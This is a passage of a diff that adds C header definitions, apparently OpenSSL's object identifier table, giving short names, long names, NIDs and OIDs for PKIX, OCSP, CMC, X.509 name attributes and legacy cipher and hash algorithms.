NID_id_mod_qualified_cert_93 279 +#define OBJ_id_mod_qualified_cert_93 OBJ_id_pkix_mod,11L + +#define SN_id_mod_attribute_cert "id-mod-attribute-cert" +#define NID_id_mod_attribute_cert 280 +#define OBJ_id_mod_attribute_cert OBJ_id_pkix_mod,12L + +#define SN_id_mod_timestamp_protocol "id-mod-timestamp-protocol" +#define NID_id_mod_timestamp_protocol 281 +#define OBJ_id_mod_timestamp_protocol OBJ_id_pkix_mod,13L + +#define SN_id_mod_ocsp "id-mod-ocsp" +#define NID_id_mod_ocsp 282 +#define OBJ_id_mod_ocsp OBJ_id_pkix_mod,14L + +#define SN_id_mod_dvcs "id-mod-dvcs" +#define NID_id_mod_dvcs 283 +#define OBJ_id_mod_dvcs OBJ_id_pkix_mod,15L + +#define SN_id_mod_cmp2000 "id-mod-cmp2000" +#define NID_id_mod_cmp2000 284 +#define OBJ_id_mod_cmp2000 OBJ_id_pkix_mod,16L + +#define SN_info_access "authorityInfoAccess" +#define LN_info_access "Authority Information Access" +#define NID_info_access 177 +#define OBJ_info_access OBJ_id_pe,1L + +#define SN_biometricInfo "biometricInfo" +#define LN_biometricInfo "Biometric Info" +#define NID_biometricInfo 285 +#define OBJ_biometricInfo OBJ_id_pe,2L + +#define SN_qcStatements "qcStatements" +#define NID_qcStatements 286 +#define OBJ_qcStatements OBJ_id_pe,3L + +#define SN_ac_auditEntity "ac-auditEntity" +#define NID_ac_auditEntity 287 +#define OBJ_ac_auditEntity OBJ_id_pe,4L + +#define SN_ac_targeting "ac-targeting" +#define NID_ac_targeting 288 +#define OBJ_ac_targeting OBJ_id_pe,5L + +#define SN_aaControls "aaControls" +#define NID_aaControls 289 +#define OBJ_aaControls OBJ_id_pe,6L + +#define SN_sbgp_ipAddrBlock "sbgp-ipAddrBlock" +#define NID_sbgp_ipAddrBlock 290 +#define OBJ_sbgp_ipAddrBlock OBJ_id_pe,7L + +#define SN_sbgp_autonomousSysNum "sbgp-autonomousSysNum" +#define NID_sbgp_autonomousSysNum 291 +#define OBJ_sbgp_autonomousSysNum OBJ_id_pe,8L + +#define SN_sbgp_routerIdentifier "sbgp-routerIdentifier" +#define NID_sbgp_routerIdentifier 292 +#define OBJ_sbgp_routerIdentifier OBJ_id_pe,9L + +#define SN_ac_proxying "ac-proxying" +#define NID_ac_proxying 397 +#define OBJ_ac_proxying OBJ_id_pe,10L + +#define SN_sinfo_access "subjectInfoAccess" +#define LN_sinfo_access "Subject Information Access" +#define NID_sinfo_access 398 +#define OBJ_sinfo_access OBJ_id_pe,11L + +#define SN_proxyCertInfo "proxyCertInfo" +#define LN_proxyCertInfo "Proxy Certificate Information" +#define NID_proxyCertInfo 663 +#define OBJ_proxyCertInfo OBJ_id_pe,14L + +#define SN_id_qt_cps "id-qt-cps" +#define LN_id_qt_cps "Policy Qualifier CPS" +#define NID_id_qt_cps 164 +#define OBJ_id_qt_cps OBJ_id_qt,1L + +#define SN_id_qt_unotice "id-qt-unotice" +#define LN_id_qt_unotice "Policy Qualifier User Notice" +#define NID_id_qt_unotice 165 +#define OBJ_id_qt_unotice OBJ_id_qt,2L + +#define SN_textNotice "textNotice" +#define NID_textNotice 293 +#define OBJ_textNotice OBJ_id_qt,3L + +#define SN_server_auth "serverAuth" +#define LN_server_auth "TLS Web Server Authentication" +#define NID_server_auth 129 +#define OBJ_server_auth OBJ_id_kp,1L + +#define SN_client_auth "clientAuth" +#define LN_client_auth "TLS Web Client Authentication" +#define NID_client_auth 130 +#define OBJ_client_auth OBJ_id_kp,2L + +#define SN_code_sign "codeSigning" +#define LN_code_sign "Code Signing" +#define NID_code_sign 131 +#define OBJ_code_sign OBJ_id_kp,3L + +#define SN_email_protect "emailProtection" +#define LN_email_protect "E-mail Protection" +#define NID_email_protect 132 +#define OBJ_email_protect OBJ_id_kp,4L + +#define SN_ipsecEndSystem "ipsecEndSystem" +#define LN_ipsecEndSystem "IPSec End System" +#define NID_ipsecEndSystem 294 +#define OBJ_ipsecEndSystem OBJ_id_kp,5L + +#define SN_ipsecTunnel "ipsecTunnel" +#define LN_ipsecTunnel "IPSec Tunnel" +#define NID_ipsecTunnel 295 +#define OBJ_ipsecTunnel OBJ_id_kp,6L + +#define SN_ipsecUser "ipsecUser" +#define LN_ipsecUser "IPSec User" +#define NID_ipsecUser 296 +#define OBJ_ipsecUser OBJ_id_kp,7L + +#define SN_time_stamp "timeStamping" +#define LN_time_stamp "Time Stamping" +#define NID_time_stamp 133 +#define OBJ_time_stamp OBJ_id_kp,8L + +#define SN_OCSP_sign "OCSPSigning" +#define LN_OCSP_sign "OCSP Signing" +#define NID_OCSP_sign 180 +#define OBJ_OCSP_sign OBJ_id_kp,9L + +#define SN_dvcs "DVCS" +#define LN_dvcs "dvcs" +#define NID_dvcs 297 +#define OBJ_dvcs OBJ_id_kp,10L + +#define SN_id_it_caProtEncCert "id-it-caProtEncCert" +#define NID_id_it_caProtEncCert 298 +#define OBJ_id_it_caProtEncCert OBJ_id_it,1L + +#define SN_id_it_signKeyPairTypes "id-it-signKeyPairTypes" +#define NID_id_it_signKeyPairTypes 299 +#define OBJ_id_it_signKeyPairTypes OBJ_id_it,2L + +#define SN_id_it_encKeyPairTypes "id-it-encKeyPairTypes" +#define NID_id_it_encKeyPairTypes 300 +#define OBJ_id_it_encKeyPairTypes OBJ_id_it,3L + +#define SN_id_it_preferredSymmAlg "id-it-preferredSymmAlg" +#define NID_id_it_preferredSymmAlg 301 +#define OBJ_id_it_preferredSymmAlg OBJ_id_it,4L + +#define SN_id_it_caKeyUpdateInfo "id-it-caKeyUpdateInfo" +#define NID_id_it_caKeyUpdateInfo 302 +#define OBJ_id_it_caKeyUpdateInfo OBJ_id_it,5L + +#define SN_id_it_currentCRL "id-it-currentCRL" +#define NID_id_it_currentCRL 303 +#define OBJ_id_it_currentCRL OBJ_id_it,6L + +#define SN_id_it_unsupportedOIDs "id-it-unsupportedOIDs" +#define NID_id_it_unsupportedOIDs 304 +#define OBJ_id_it_unsupportedOIDs OBJ_id_it,7L + +#define SN_id_it_subscriptionRequest "id-it-subscriptionRequest" +#define NID_id_it_subscriptionRequest 305 +#define OBJ_id_it_subscriptionRequest OBJ_id_it,8L + +#define SN_id_it_subscriptionResponse "id-it-subscriptionResponse" +#define NID_id_it_subscriptionResponse 306 +#define OBJ_id_it_subscriptionResponse OBJ_id_it,9L + +#define SN_id_it_keyPairParamReq "id-it-keyPairParamReq" +#define NID_id_it_keyPairParamReq 307 +#define OBJ_id_it_keyPairParamReq OBJ_id_it,10L + +#define SN_id_it_keyPairParamRep "id-it-keyPairParamRep" +#define NID_id_it_keyPairParamRep 308 +#define OBJ_id_it_keyPairParamRep OBJ_id_it,11L + +#define SN_id_it_revPassphrase "id-it-revPassphrase" +#define NID_id_it_revPassphrase 309 +#define OBJ_id_it_revPassphrase OBJ_id_it,12L + +#define SN_id_it_implicitConfirm "id-it-implicitConfirm" +#define NID_id_it_implicitConfirm 310 +#define OBJ_id_it_implicitConfirm OBJ_id_it,13L + +#define SN_id_it_confirmWaitTime "id-it-confirmWaitTime" +#define NID_id_it_confirmWaitTime 311 +#define OBJ_id_it_confirmWaitTime OBJ_id_it,14L + +#define SN_id_it_origPKIMessage "id-it-origPKIMessage" +#define NID_id_it_origPKIMessage 312 +#define OBJ_id_it_origPKIMessage OBJ_id_it,15L + +#define SN_id_it_suppLangTags "id-it-suppLangTags" +#define NID_id_it_suppLangTags 784 +#define OBJ_id_it_suppLangTags OBJ_id_it,16L + +#define SN_id_regCtrl "id-regCtrl" +#define NID_id_regCtrl 313 +#define OBJ_id_regCtrl OBJ_id_pkip,1L + +#define SN_id_regInfo "id-regInfo" +#define NID_id_regInfo 314 +#define OBJ_id_regInfo OBJ_id_pkip,2L + +#define SN_id_regCtrl_regToken "id-regCtrl-regToken" +#define NID_id_regCtrl_regToken 315 +#define OBJ_id_regCtrl_regToken OBJ_id_regCtrl,1L + +#define SN_id_regCtrl_authenticator "id-regCtrl-authenticator" +#define NID_id_regCtrl_authenticator 316 +#define OBJ_id_regCtrl_authenticator OBJ_id_regCtrl,2L + +#define SN_id_regCtrl_pkiPublicationInfo "id-regCtrl-pkiPublicationInfo" +#define NID_id_regCtrl_pkiPublicationInfo 317 +#define OBJ_id_regCtrl_pkiPublicationInfo OBJ_id_regCtrl,3L + +#define SN_id_regCtrl_pkiArchiveOptions "id-regCtrl-pkiArchiveOptions" +#define NID_id_regCtrl_pkiArchiveOptions 318 +#define OBJ_id_regCtrl_pkiArchiveOptions OBJ_id_regCtrl,4L + +#define SN_id_regCtrl_oldCertID "id-regCtrl-oldCertID" +#define NID_id_regCtrl_oldCertID 319 +#define OBJ_id_regCtrl_oldCertID OBJ_id_regCtrl,5L + +#define SN_id_regCtrl_protocolEncrKey "id-regCtrl-protocolEncrKey" +#define NID_id_regCtrl_protocolEncrKey 320 +#define OBJ_id_regCtrl_protocolEncrKey OBJ_id_regCtrl,6L + +#define SN_id_regInfo_utf8Pairs "id-regInfo-utf8Pairs" +#define NID_id_regInfo_utf8Pairs 321 +#define OBJ_id_regInfo_utf8Pairs OBJ_id_regInfo,1L + +#define SN_id_regInfo_certReq "id-regInfo-certReq" +#define NID_id_regInfo_certReq 322 +#define OBJ_id_regInfo_certReq OBJ_id_regInfo,2L + +#define SN_id_alg_des40 "id-alg-des40" +#define NID_id_alg_des40 323 +#define OBJ_id_alg_des40 OBJ_id_alg,1L + +#define SN_id_alg_noSignature "id-alg-noSignature" +#define NID_id_alg_noSignature 324 +#define OBJ_id_alg_noSignature OBJ_id_alg,2L + +#define SN_id_alg_dh_sig_hmac_sha1 "id-alg-dh-sig-hmac-sha1" +#define NID_id_alg_dh_sig_hmac_sha1 325 +#define OBJ_id_alg_dh_sig_hmac_sha1 OBJ_id_alg,3L + +#define SN_id_alg_dh_pop "id-alg-dh-pop" +#define NID_id_alg_dh_pop 326 +#define OBJ_id_alg_dh_pop OBJ_id_alg,4L + +#define SN_id_cmc_statusInfo "id-cmc-statusInfo" +#define NID_id_cmc_statusInfo 327 +#define OBJ_id_cmc_statusInfo OBJ_id_cmc,1L + +#define SN_id_cmc_identification "id-cmc-identification" +#define NID_id_cmc_identification 328 +#define OBJ_id_cmc_identification OBJ_id_cmc,2L + +#define SN_id_cmc_identityProof "id-cmc-identityProof" +#define NID_id_cmc_identityProof 329 +#define OBJ_id_cmc_identityProof OBJ_id_cmc,3L + +#define SN_id_cmc_dataReturn "id-cmc-dataReturn" +#define NID_id_cmc_dataReturn 330 +#define OBJ_id_cmc_dataReturn OBJ_id_cmc,4L + +#define SN_id_cmc_transactionId "id-cmc-transactionId" +#define NID_id_cmc_transactionId 331 +#define OBJ_id_cmc_transactionId OBJ_id_cmc,5L + +#define SN_id_cmc_senderNonce "id-cmc-senderNonce" +#define NID_id_cmc_senderNonce 332 +#define OBJ_id_cmc_senderNonce OBJ_id_cmc,6L + +#define SN_id_cmc_recipientNonce "id-cmc-recipientNonce" +#define NID_id_cmc_recipientNonce 333 +#define OBJ_id_cmc_recipientNonce OBJ_id_cmc,7L + +#define SN_id_cmc_addExtensions "id-cmc-addExtensions" +#define NID_id_cmc_addExtensions 334 +#define OBJ_id_cmc_addExtensions OBJ_id_cmc,8L + +#define SN_id_cmc_encryptedPOP "id-cmc-encryptedPOP" +#define NID_id_cmc_encryptedPOP 335 +#define OBJ_id_cmc_encryptedPOP OBJ_id_cmc,9L + +#define SN_id_cmc_decryptedPOP "id-cmc-decryptedPOP" +#define NID_id_cmc_decryptedPOP 336 +#define OBJ_id_cmc_decryptedPOP OBJ_id_cmc,10L + +#define SN_id_cmc_lraPOPWitness "id-cmc-lraPOPWitness" +#define NID_id_cmc_lraPOPWitness 337 +#define OBJ_id_cmc_lraPOPWitness OBJ_id_cmc,11L + +#define SN_id_cmc_getCert "id-cmc-getCert" +#define NID_id_cmc_getCert 338 +#define OBJ_id_cmc_getCert OBJ_id_cmc,15L + +#define SN_id_cmc_getCRL "id-cmc-getCRL" +#define NID_id_cmc_getCRL 339 +#define OBJ_id_cmc_getCRL OBJ_id_cmc,16L + +#define SN_id_cmc_revokeRequest "id-cmc-revokeRequest" +#define NID_id_cmc_revokeRequest 340 +#define OBJ_id_cmc_revokeRequest OBJ_id_cmc,17L + +#define SN_id_cmc_regInfo "id-cmc-regInfo" +#define NID_id_cmc_regInfo 341 +#define OBJ_id_cmc_regInfo OBJ_id_cmc,18L + +#define SN_id_cmc_responseInfo "id-cmc-responseInfo" +#define NID_id_cmc_responseInfo 342 +#define OBJ_id_cmc_responseInfo OBJ_id_cmc,19L + +#define SN_id_cmc_queryPending "id-cmc-queryPending" +#define NID_id_cmc_queryPending 343 +#define OBJ_id_cmc_queryPending OBJ_id_cmc,21L + +#define SN_id_cmc_popLinkRandom "id-cmc-popLinkRandom" +#define NID_id_cmc_popLinkRandom 344 +#define OBJ_id_cmc_popLinkRandom OBJ_id_cmc,22L + +#define SN_id_cmc_popLinkWitness "id-cmc-popLinkWitness" +#define NID_id_cmc_popLinkWitness 345 +#define OBJ_id_cmc_popLinkWitness OBJ_id_cmc,23L + +#define SN_id_cmc_confirmCertAcceptance "id-cmc-confirmCertAcceptance" +#define NID_id_cmc_confirmCertAcceptance 346 +#define OBJ_id_cmc_confirmCertAcceptance OBJ_id_cmc,24L + +#define SN_id_on_personalData "id-on-personalData" +#define NID_id_on_personalData 347 +#define OBJ_id_on_personalData OBJ_id_on,1L + +#define SN_id_on_permanentIdentifier "id-on-permanentIdentifier" +#define LN_id_on_permanentIdentifier "Permanent Identifier" +#define NID_id_on_permanentIdentifier 858 +#define OBJ_id_on_permanentIdentifier OBJ_id_on,3L + +#define SN_id_pda_dateOfBirth "id-pda-dateOfBirth" +#define NID_id_pda_dateOfBirth 348 +#define OBJ_id_pda_dateOfBirth OBJ_id_pda,1L + +#define SN_id_pda_placeOfBirth "id-pda-placeOfBirth" +#define NID_id_pda_placeOfBirth 349 +#define OBJ_id_pda_placeOfBirth OBJ_id_pda,2L + +#define SN_id_pda_gender "id-pda-gender" +#define NID_id_pda_gender 351 +#define OBJ_id_pda_gender OBJ_id_pda,3L + +#define SN_id_pda_countryOfCitizenship "id-pda-countryOfCitizenship" +#define NID_id_pda_countryOfCitizenship 352 +#define OBJ_id_pda_countryOfCitizenship OBJ_id_pda,4L + +#define SN_id_pda_countryOfResidence "id-pda-countryOfResidence" +#define NID_id_pda_countryOfResidence 353 +#define OBJ_id_pda_countryOfResidence OBJ_id_pda,5L + +#define SN_id_aca_authenticationInfo "id-aca-authenticationInfo" +#define NID_id_aca_authenticationInfo 354 +#define OBJ_id_aca_authenticationInfo OBJ_id_aca,1L + +#define SN_id_aca_accessIdentity "id-aca-accessIdentity" +#define NID_id_aca_accessIdentity 355 +#define OBJ_id_aca_accessIdentity OBJ_id_aca,2L + +#define SN_id_aca_chargingIdentity "id-aca-chargingIdentity" +#define NID_id_aca_chargingIdentity 356 +#define OBJ_id_aca_chargingIdentity OBJ_id_aca,3L + +#define SN_id_aca_group "id-aca-group" +#define NID_id_aca_group 357 +#define OBJ_id_aca_group OBJ_id_aca,4L + +#define SN_id_aca_role "id-aca-role" +#define NID_id_aca_role 358 +#define OBJ_id_aca_role OBJ_id_aca,5L + +#define SN_id_aca_encAttrs "id-aca-encAttrs" +#define NID_id_aca_encAttrs 399 +#define OBJ_id_aca_encAttrs OBJ_id_aca,6L + +#define SN_id_qcs_pkixQCSyntax_v1 "id-qcs-pkixQCSyntax-v1" +#define NID_id_qcs_pkixQCSyntax_v1 359 +#define OBJ_id_qcs_pkixQCSyntax_v1 OBJ_id_qcs,1L + +#define SN_id_cct_crs "id-cct-crs" +#define NID_id_cct_crs 360 +#define OBJ_id_cct_crs OBJ_id_cct,1L + +#define SN_id_cct_PKIData "id-cct-PKIData" +#define NID_id_cct_PKIData 361 +#define OBJ_id_cct_PKIData OBJ_id_cct,2L + +#define SN_id_cct_PKIResponse "id-cct-PKIResponse" +#define NID_id_cct_PKIResponse 362 +#define OBJ_id_cct_PKIResponse OBJ_id_cct,3L + +#define SN_id_ppl_anyLanguage "id-ppl-anyLanguage" +#define LN_id_ppl_anyLanguage "Any language" +#define NID_id_ppl_anyLanguage 664 +#define OBJ_id_ppl_anyLanguage OBJ_id_ppl,0L + +#define SN_id_ppl_inheritAll "id-ppl-inheritAll" +#define LN_id_ppl_inheritAll "Inherit all" +#define NID_id_ppl_inheritAll 665 +#define OBJ_id_ppl_inheritAll OBJ_id_ppl,1L + +#define SN_Independent "id-ppl-independent" +#define LN_Independent "Independent" +#define NID_Independent 667 +#define OBJ_Independent OBJ_id_ppl,2L + +#define SN_ad_OCSP "OCSP" +#define LN_ad_OCSP "OCSP" +#define NID_ad_OCSP 178 +#define OBJ_ad_OCSP OBJ_id_ad,1L + +#define SN_ad_ca_issuers "caIssuers" +#define LN_ad_ca_issuers "CA Issuers" +#define NID_ad_ca_issuers 179 +#define OBJ_ad_ca_issuers OBJ_id_ad,2L + +#define SN_ad_timeStamping "ad_timestamping" +#define LN_ad_timeStamping "AD Time Stamping" +#define NID_ad_timeStamping 363 +#define OBJ_ad_timeStamping OBJ_id_ad,3L + +#define SN_ad_dvcs "AD_DVCS" +#define LN_ad_dvcs "ad dvcs" +#define NID_ad_dvcs 364 +#define OBJ_ad_dvcs OBJ_id_ad,4L + +#define SN_caRepository "caRepository" +#define LN_caRepository "CA Repository" +#define NID_caRepository 785 +#define OBJ_caRepository OBJ_id_ad,5L + +#define OBJ_id_pkix_OCSP OBJ_ad_OCSP + +#define SN_id_pkix_OCSP_basic "basicOCSPResponse" +#define LN_id_pkix_OCSP_basic "Basic OCSP Response" +#define NID_id_pkix_OCSP_basic 365 +#define OBJ_id_pkix_OCSP_basic OBJ_id_pkix_OCSP,1L + +#define SN_id_pkix_OCSP_Nonce "Nonce" +#define LN_id_pkix_OCSP_Nonce "OCSP Nonce" +#define NID_id_pkix_OCSP_Nonce 366 +#define OBJ_id_pkix_OCSP_Nonce OBJ_id_pkix_OCSP,2L + +#define SN_id_pkix_OCSP_CrlID "CrlID" +#define LN_id_pkix_OCSP_CrlID "OCSP CRL ID" +#define NID_id_pkix_OCSP_CrlID 367 +#define OBJ_id_pkix_OCSP_CrlID OBJ_id_pkix_OCSP,3L + +#define SN_id_pkix_OCSP_acceptableResponses "acceptableResponses" +#define LN_id_pkix_OCSP_acceptableResponses "Acceptable OCSP Responses" +#define NID_id_pkix_OCSP_acceptableResponses 368 +#define OBJ_id_pkix_OCSP_acceptableResponses OBJ_id_pkix_OCSP,4L + +#define SN_id_pkix_OCSP_noCheck "noCheck" +#define LN_id_pkix_OCSP_noCheck "OCSP No Check" +#define NID_id_pkix_OCSP_noCheck 369 +#define OBJ_id_pkix_OCSP_noCheck OBJ_id_pkix_OCSP,5L + +#define SN_id_pkix_OCSP_archiveCutoff "archiveCutoff" +#define LN_id_pkix_OCSP_archiveCutoff "OCSP Archive Cutoff" +#define NID_id_pkix_OCSP_archiveCutoff 370 +#define OBJ_id_pkix_OCSP_archiveCutoff OBJ_id_pkix_OCSP,6L + +#define SN_id_pkix_OCSP_serviceLocator "serviceLocator" +#define LN_id_pkix_OCSP_serviceLocator "OCSP Service Locator" +#define NID_id_pkix_OCSP_serviceLocator 371 +#define OBJ_id_pkix_OCSP_serviceLocator OBJ_id_pkix_OCSP,7L + +#define SN_id_pkix_OCSP_extendedStatus "extendedStatus" +#define LN_id_pkix_OCSP_extendedStatus "Extended OCSP Status" +#define NID_id_pkix_OCSP_extendedStatus 372 +#define OBJ_id_pkix_OCSP_extendedStatus OBJ_id_pkix_OCSP,8L + +#define SN_id_pkix_OCSP_valid "valid" +#define NID_id_pkix_OCSP_valid 373 +#define OBJ_id_pkix_OCSP_valid OBJ_id_pkix_OCSP,9L + +#define SN_id_pkix_OCSP_path "path" +#define NID_id_pkix_OCSP_path 374 +#define OBJ_id_pkix_OCSP_path OBJ_id_pkix_OCSP,10L + +#define SN_id_pkix_OCSP_trustRoot "trustRoot" +#define LN_id_pkix_OCSP_trustRoot "Trust Root" +#define NID_id_pkix_OCSP_trustRoot 375 +#define OBJ_id_pkix_OCSP_trustRoot OBJ_id_pkix_OCSP,11L + +#define SN_algorithm "algorithm" +#define LN_algorithm "algorithm" +#define NID_algorithm 376 +#define OBJ_algorithm 1L,3L,14L,3L,2L + +#define SN_md5WithRSA "RSA-NP-MD5" +#define LN_md5WithRSA "md5WithRSA" +#define NID_md5WithRSA 104 +#define OBJ_md5WithRSA OBJ_algorithm,3L + +#define SN_des_ecb "DES-ECB" +#define LN_des_ecb "des-ecb" +#define NID_des_ecb 29 +#define OBJ_des_ecb OBJ_algorithm,6L + +#define SN_des_cbc "DES-CBC" +#define LN_des_cbc "des-cbc" +#define NID_des_cbc 31 +#define OBJ_des_cbc OBJ_algorithm,7L + +#define SN_des_ofb64 "DES-OFB" +#define LN_des_ofb64 "des-ofb" +#define NID_des_ofb64 45 +#define OBJ_des_ofb64 OBJ_algorithm,8L + +#define SN_des_cfb64 "DES-CFB" +#define LN_des_cfb64 "des-cfb" +#define NID_des_cfb64 30 +#define OBJ_des_cfb64 OBJ_algorithm,9L + +#define SN_rsaSignature "rsaSignature" +#define NID_rsaSignature 377 +#define OBJ_rsaSignature OBJ_algorithm,11L + +#define SN_dsa_2 "DSA-old" +#define LN_dsa_2 "dsaEncryption-old" +#define NID_dsa_2 67 +#define OBJ_dsa_2 OBJ_algorithm,12L + +#define SN_dsaWithSHA "DSA-SHA" +#define LN_dsaWithSHA "dsaWithSHA" +#define NID_dsaWithSHA 66 +#define OBJ_dsaWithSHA OBJ_algorithm,13L + +#define SN_shaWithRSAEncryption "RSA-SHA" +#define LN_shaWithRSAEncryption "shaWithRSAEncryption" +#define NID_shaWithRSAEncryption 42 +#define OBJ_shaWithRSAEncryption OBJ_algorithm,15L + +#define SN_des_ede_ecb "DES-EDE" +#define LN_des_ede_ecb "des-ede" +#define NID_des_ede_ecb 32 +#define OBJ_des_ede_ecb OBJ_algorithm,17L + +#define SN_des_ede3_ecb "DES-EDE3" +#define LN_des_ede3_ecb "des-ede3" +#define NID_des_ede3_ecb 33 + +#define SN_des_ede_cbc "DES-EDE-CBC" +#define LN_des_ede_cbc "des-ede-cbc" +#define NID_des_ede_cbc 43 + +#define SN_des_ede_cfb64 "DES-EDE-CFB" +#define LN_des_ede_cfb64 "des-ede-cfb" +#define NID_des_ede_cfb64 60 + +#define SN_des_ede3_cfb64 "DES-EDE3-CFB" +#define LN_des_ede3_cfb64 "des-ede3-cfb" +#define NID_des_ede3_cfb64 61 + +#define SN_des_ede_ofb64 "DES-EDE-OFB" +#define LN_des_ede_ofb64 "des-ede-ofb" +#define NID_des_ede_ofb64 62 + +#define SN_des_ede3_ofb64 "DES-EDE3-OFB" +#define LN_des_ede3_ofb64 "des-ede3-ofb" +#define NID_des_ede3_ofb64 63 + +#define SN_desx_cbc "DESX-CBC" +#define LN_desx_cbc "desx-cbc" +#define NID_desx_cbc 80 + +#define SN_sha "SHA" +#define LN_sha "sha" +#define NID_sha 41 +#define OBJ_sha OBJ_algorithm,18L + +#define SN_sha1 "SHA1" +#define LN_sha1 "sha1" +#define NID_sha1 64 +#define OBJ_sha1 OBJ_algorithm,26L + +#define SN_dsaWithSHA1_2 "DSA-SHA1-old" +#define LN_dsaWithSHA1_2 "dsaWithSHA1-old" +#define NID_dsaWithSHA1_2 70 +#define OBJ_dsaWithSHA1_2 OBJ_algorithm,27L + +#define SN_sha1WithRSA "RSA-SHA1-2" +#define LN_sha1WithRSA "sha1WithRSA" +#define NID_sha1WithRSA 115 +#define OBJ_sha1WithRSA OBJ_algorithm,29L + +#define SN_ripemd160 "RIPEMD160" +#define LN_ripemd160 "ripemd160" +#define NID_ripemd160 117 +#define OBJ_ripemd160 1L,3L,36L,3L,2L,1L + +#define SN_ripemd160WithRSA "RSA-RIPEMD160" +#define LN_ripemd160WithRSA "ripemd160WithRSA" +#define NID_ripemd160WithRSA 119 +#define OBJ_ripemd160WithRSA 1L,3L,36L,3L,3L,1L,2L + +#define SN_sxnet "SXNetID" +#define LN_sxnet "Strong Extranet ID" +#define NID_sxnet 143 +#define OBJ_sxnet 1L,3L,101L,1L,4L,1L + +#define SN_X500 "X500" +#define LN_X500 "directory services (X.500)" +#define NID_X500 11 +#define OBJ_X500 2L,5L + +#define SN_X509 "X509" +#define NID_X509 12 +#define OBJ_X509 OBJ_X500,4L + +#define SN_commonName "CN" +#define LN_commonName "commonName" +#define NID_commonName 13 +#define OBJ_commonName OBJ_X509,3L + +#define SN_surname "SN" +#define LN_surname "surname" +#define NID_surname 100 +#define OBJ_surname OBJ_X509,4L + +#define LN_serialNumber "serialNumber" +#define NID_serialNumber 105 +#define OBJ_serialNumber OBJ_X509,5L + +#define SN_countryName "C" +#define LN_countryName "countryName" +#define NID_countryName 14 +#define OBJ_countryName OBJ_X509,6L + +#define SN_localityName "L" +#define LN_localityName "localityName" +#define NID_localityName 15 +#define OBJ_localityName OBJ_X509,7L + +#define SN_stateOrProvinceName "ST" +#define LN_stateOrProvinceName "stateOrProvinceName" +#define NID_stateOrProvinceName 16 +#define OBJ_stateOrProvinceName OBJ_X509,8L + +#define LN_streetAddress "streetAddress" +#define NID_streetAddress 660 +#define OBJ_streetAddress OBJ_X509,9L + +#define SN_organizationName "O" +#define LN_organizationName "organizationName" +#define NID_organizationName 17 +#define OBJ_organizationName OBJ_X509,10L + +#define SN_organizationalUnitName "OU" +#define LN_organizationalUnitName "organizationalUnitName" +#define NID_organizationalUnitName 18 +#define OBJ_organizationalUnitName OBJ_X509,11L + +#define LN_title "title" +#define NID_title 106 +#define OBJ_title OBJ_X509,12L + +#define LN_description "description" +#define NID_description 107 +#define OBJ_description OBJ_X509,13L + +#define LN_postalCode "postalCode" +#define NID_postalCode 661 +#define OBJ_postalCode OBJ_X509,17L + +#define SN_name "name" +#define LN_name "name" +#define NID_name 173 +#define OBJ_name OBJ_X509,41L + +#define SN_givenName "GN" +#define LN_givenName "givenName" +#define NID_givenName 99 +#define OBJ_givenName OBJ_X509,42L + +#define LN_initials "initials" +#define NID_initials 101 +#define OBJ_initials OBJ_X509,43L + +#define LN_generationQualifier "generationQualifier" +#define NID_generationQualifier 509 +#define OBJ_generationQualifier OBJ_X509,44L + +#define LN_x500UniqueIdentifier "x500UniqueIdentifier" +#define NID_x500UniqueIdentifier 503 +#define OBJ_x500UniqueIdentifier OBJ_X509,45L + +#define SN_dnQualifier "dnQualifier" +#define LN_dnQualifier "dnQualifier" +#define NID_dnQualifier 174 +#define OBJ_dnQualifier OBJ_X509,46L + +#define LN_pseudonym "pseudonym" +#define NID_pseudonym 510 +#define OBJ_pseudonym OBJ_X509,65L + +#define SN_role "role" +#define LN_role "role" +#define NID_role 400 +#define OBJ_role OBJ_X509,72L + +#define SN_X500algorithms "X500algorithms" +#define LN_X500algorithms "directory services - algorithms" +#define NID_X500algorithms 378 +#define OBJ_X500algorithms OBJ_X500,8L + +#define SN_rsa "RSA" +#define LN_rsa "rsa" +#define NID_rsa 19 +#define OBJ_rsa OBJ_X500algorithms,1L,1L + +#define SN_mdc2WithRSA "RSA-MDC2" +#define LN_mdc2WithRSA "mdc2WithRSA" +#define NID_mdc2WithRSA 96 +#define OBJ_mdc2WithRSA OBJ_X500algorithms,3L,100L + +#define SN_mdc2 "MDC2" +#define LN_mdc2 "mdc2" +#define NID_mdc2 95 +#define OBJ_mdc2 OBJ_X500algorithms,3L,101L + +#define SN_id_ce "id-ce" +#define NID_id_ce 81 +#define OBJ_id_ce OBJ_X500,29L + +#define SN_subject_directory_attributes "subjectDirectoryAttributes" +#define LN_subject_directory_attributes "X509v3 Subject Directory Attributes" +#define NID_subject_directory_attributes 769 +#define OBJ_subject_directory_attributes OBJ_id_ce,9L + +#define SN_subject_key_identifier "subjectKeyIdentifier" +#define LN_subject_key_identifier "X509v3 Subject Key Identifier" +#define NID_subject_key_identifier 82 +#define OBJ_subject_key_identifier OBJ_id_ce,14L + +#define SN_key_usage "keyUsage" +#define LN_key_usage "X509v3 Key Usage" +#define NID_key_usage 83 +#define OBJ_key_usage OBJ_id_ce,15L + +#define SN_private_key_usage_period "privateKeyUsagePeriod" +#define LN_private_key_usage_period "X509v3 Private Key Usage Period" +#define NID_private_key_usage_period 84 +#define OBJ_private_key_usage_period OBJ_id_ce,16L + +#define SN_subject_alt_name "subjectAltName" +#define LN_subject_alt_name "X509v3 Subject Alternative Name" +#define NID_subject_alt_name 85 +#define OBJ_subject_alt_name OBJ_id_ce,17L + +#define SN_issuer_alt_name "issuerAltName" +#define LN_issuer_alt_name "X509v3 Issuer Alternative Name" +#define NID_issuer_alt_name 86 +#define OBJ_issuer_alt_name OBJ_id_ce,18L + +#define SN_basic_constraints "basicConstraints" +#define LN_basic_constraints "X509v3 Basic Constraints" +#define NID_basic_constraints 87 +#define OBJ_basic_constraints OBJ_id_ce,19L + +#define SN_crl_number "crlNumber" +#define LN_crl_number "X509v3 CRL Number" +#define NID_crl_number 88 +#define OBJ_crl_number OBJ_id_ce,20L + +#define SN_crl_reason "CRLReason" +#define LN_crl_reason "X509v3 CRL Reason Code" +#define NID_crl_reason 141 +#define OBJ_crl_reason OBJ_id_ce,21L + +#define SN_invalidity_date "invalidityDate" +#define LN_invalidity_date "Invalidity Date" +#define NID_invalidity_date 142 +#define OBJ_invalidity_date OBJ_id_ce,24L + +#define SN_delta_crl "deltaCRL" +#define LN_delta_crl "X509v3 Delta CRL Indicator" +#define NID_delta_crl 140 +#define OBJ_delta_crl OBJ_id_ce,27L + +#define SN_issuing_distribution_point "issuingDistributionPoint" +#define LN_issuing_distribution_point "X509v3 Issuing Distrubution Point" +#define 